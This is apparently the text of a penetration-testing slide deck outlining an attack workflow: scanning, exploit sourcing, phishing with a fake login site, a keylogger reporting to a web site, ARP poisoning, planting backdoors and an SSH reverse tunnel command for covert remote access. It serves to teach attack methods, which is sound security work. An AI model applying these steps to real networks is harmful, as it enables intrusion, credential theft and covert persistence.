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�

� external network port scan.
� Create network map and services.
� Scanning and Exploit servers/network devices for 

getting internal access. 
� Run client side attack.
� Run fishing attack.
� Run smart key logger attack using social 

engineer.
� For fun:

� Denial of service attack.
� Brute force attack.

External P.T



�

Port scanning 

� Scan the network for finding open port using 
NMAP.

� 3 steps using nmap :
� Syn scan.
� Tcp scan.
� Udp scan.

� Do not forget to found the firewall and the IPS.�
� For IPS/IDS we need to configure nmap in 

different way… �



�

Nmap….
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Network map and services

� analyze nmap results or using different tool like 
foundstone or solarwinds.

� Create logical network map and start to identify 
services using:

� Xprob2.
� Nmap.
� Nessus module. 
� Umit.
� P0f



�

Services…
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Security scan…

� Now we start to find vulnerabilities on network 
devices and servers.

� You can use several security scanner like :
� Nessus. (all platform)
� Foundstone. (all platform)
� Retina. (all platform)
� GFI. (all platform)
� Tenable. (all platform)
� Nikto,appscan,acunetix,N-stealth. (web platform)



�

Scanners 
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Exploit the server….

� When we find the exploit we need to find the 
appropriate code….�

� we can use commercial tool like :
� Core impact.
� Immunity Canvas.
� Satan framework.

� If you do not have money you can use:
� Metasploit.
� CVE databse.
� Milw0rm database.
� Securiteam database.
� Google….IRC…security forum…



	 


Client side attack

� What we do when the external network is very 
Harding….hmmm…hmmm…go for client side 
attack…

� Client side attack take advantage on:
� Smtp service.
� http/https service.



	 	

Client side attack..
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Start to play..
� Find mail address using google API engine and 

other search engine.
� Send mail to recipients with cool link…
� Prepare the code for listing to port 80 or 443.
� Wait….wait….wait….ooopsss…somebody click 

on the link and now we run the code on the 
browser….

� Finally we get remote shell in the LAN….and now 
we can do:

� Reverse tunnel.
� Export SAM file.
� Send files over the internet.
� Attack the internal network.    
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Fishing attack

� We do not exploit any server…client side attack 
blocked by content filter or local anti virus…all 
the services are protect by username and 
password …hmmm…hmmm… we go for 
fishing…may somebody have fishhook….�

� Fishing attack exploit people and not machine.
� People over the world do not aware to security 

threats and the hackers work 10 minutes for 
password…



	 �

Go fishing…go fishing..

� Create “secure” web site with:
� Company logo.
� Ssl certificate.
� 2 page with data form field.
� Background database.(sql,access,mysql)

� Now we need to read and investigate the 
company business for creating a mail that trigger 
the people to send their password. 



	 �

Go for fish…

� Find mail address using google API engine and 
other search engine.

� Send mail to recipients. 
� Open the OWA login for quick login .(the user 

may call the administrator..� )
� Wait….wait….wait….ooopsss…somebody click 

on the link and now we get his password for 
OWA or VOIP soft phone.
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Fishing..
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Smart keylooger…

� Moment from desperation you go to your virtual 
safe and get the smart keylogger…now we get 
our glory…�

� After several years in the field you understand 
that if you built a keylogger without hide him…all 
the antivirus does not recognize him… �

� The smart keylogger transmit all the data to web 
site and after a while we ran parser on the data 
for finding user&password.



	 �

Go for it man….

� Find mail address using google API engine and 
other search engine.

� Send mail to recipients with cool link…
� Wait….wait….wait….ooopsss…somebody click 

on the link and now we get his keyboard stroke…
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Dos and brute force

� Dos attack today become to ddos because the 
ips system getting better every day… �

� Most powerful attack are :
� Syn attack from multiply sources.
� Dns attack.

� Brute force attack are the last option to get user 
and password…but I can recommends you on 
the HYDRA tool….� and also…BrutusA2..
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Internal P.T 
� Scanning the network
� Find services.
� Exploit servers and host.
� Run arp poising. 
� Exploit network devices for vlan access.
� Get local password and Decrypt them.
� Find interesting files.  
� For fun…:

� Inject vnc servers for backdoor access.
� Inject key logger for getting password .
� Inject picture for new screen saver.
� Inject ssh service for reverse tunnel.



� 	

Internal Network..
� Five steps for the beginning :

� Getting ip address throw DHCP or sniffer.
� Discover the network segment.
� Find out where is the servers segment.
� Find out the network devices.
� Getting internet connection.

� Start to attack network devices for getting:
� Network topology and file configuration.
� Vlan access.
� User and password management.
� Snmp community.

� Scan the host segment for dedicate exploit like upnp
manager vulnerability…dcom vulnerability…etc…
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Exploit the network device

� Find out the network devices using:
� Broadcast and multicast packet with Sniffer.( 

cdp,hsrp,vrrp..etc..)
� Nmap port scan using dedicate tcp.udp port.
� Arp poising.

� If you have lucky you will get router/switch 
running configuration for:

� Decrypt password.
� Snmp community.
� Vlan access.
� Network topology.
� Access-list. (remember me to show you a trick)  
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Network devices..
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Exploit host and not server..

� Its very important to exploit host and not 
servers….you must hide yourself from monitor 
system….and dangerous network admin..�

� Exploit host using framework attack tool for 
getting:

� SAM file for getting local admin password.
� Network routing.
� Critical files.
� Create reverse tunnel over the internet. 

� If you do not find host to exploit go to the server 
farm and run dedicate attack. 
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Exploit…exploit…
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Arp poising 

� If you does not have any access to network 
devices or exploit server you always can hack 
the network with ARP poising and collect several 
network password.

� What do you need….hmmmm…just simple 
software like cain.

� Two way for using ARP poising :
� Run on the local segment.
� Run on remote host. (you must exploit somebody)



� �

Arp poising…
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Reveres tunnel 
� The most powerful attack on the network is 

reverse tunnel.
� First you need:

� Access to the internet.
� Server with ssh service.
� Exploit host on the LAN.

� Reverse tunnel create tcp tunnel using 
encapsulation on any outgoing port  from the 
LAN to the internet.

� The attacker can getting remote control on the 
host from the internet any time he want without 
the ability to catch him.

�
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Reverse…ooops…

� Server side :
� ssh -R 12345:localhost:22 -l root “ip address” -p 

443
(This will open port 12345 for listening and forward 
all future connections to port 22 at destination.)

� Client side :
� ssh -l root 127.0.0.1 -p 12345



� 


Fun on the LAN

� After hacking the network now is the time for fun:
� Send anonymous email throw non harding smtp

connector on the exchange server.
� Dns spoof for sending the users to our web site.
� Send spoof CDP packet.
� Send spoof HSRP packet.
� Capture voip session for recording them and send 

it on mail to the data security manager.
� Change the screen saver picture.
� Schedule remote pc for reboot himself.
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Have fun..



� �

Any question ?

Thanks to All


